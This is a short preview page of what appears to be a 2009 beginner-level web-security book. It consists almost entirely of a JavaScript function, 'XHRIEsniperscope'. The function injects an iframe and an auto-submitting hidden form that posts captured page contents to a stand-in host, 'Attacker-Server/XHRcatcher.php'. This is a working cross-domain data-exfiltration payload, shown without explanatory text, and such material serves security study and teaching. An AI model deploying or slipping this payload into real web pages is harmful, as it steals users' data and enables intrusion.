August 2009
Beginner
298 pages
9h 5m
English
function XHRIEsniperscope(contents2){
var HTMLcontents = escape(contents2);
var frame3html ='<html><body><IFRAME NAME="CrossDomain"
iframe id="CrossDomain-id002"';
frame3html += 'width="50%" height="50%" scrolling="auto"
frameborder="1"></IFRAME>';
frame3html += '<script>var test = escape(\''+HTMLcontents+'\');';
frame3html += 'var postFrame = document.getElementById("CrossDomain");';
frame3html += 'var newPostContents = postFrame.contentWindow.document;';
frame3html += 'var crossDomainPostContents = "<html><body>";';
frame3html += 'crossDomainPostContents +=
"<form name=myform method=POST action=http://Attacker-Server/XHRcatcher.php>";';
frame3html += 'crossDomainPostContents +=
"<input type=hidden name=content value="+test;';
frame3html += 'crossDomainPostContents +="></form>";';
frame3html += 'crossDomainPostContents += "<script>";';
frame3html += 'crossDomainPostContents +=
"document.forms[\'myform\'].submit();";';
frame3html += 'crossDomainPostContents +="</scr";';
frame3html += 'crossDomainPostContents += "ipt>";';
frame3html += 'crossDomainPostContents +="test</body</html>";';
frame3html += 'newPostContents.open();';
frame3html += 'newPostContents.write(crossDomainPostContents);';
frame3html += 'newPostContents.close();';
frame3html += '</script></body></html>';
parent.myFrame3.document.open();
parent.myFrame3.document.write(frame3html);
parent.myFrame3.document.close();
}Read now
Unlock full access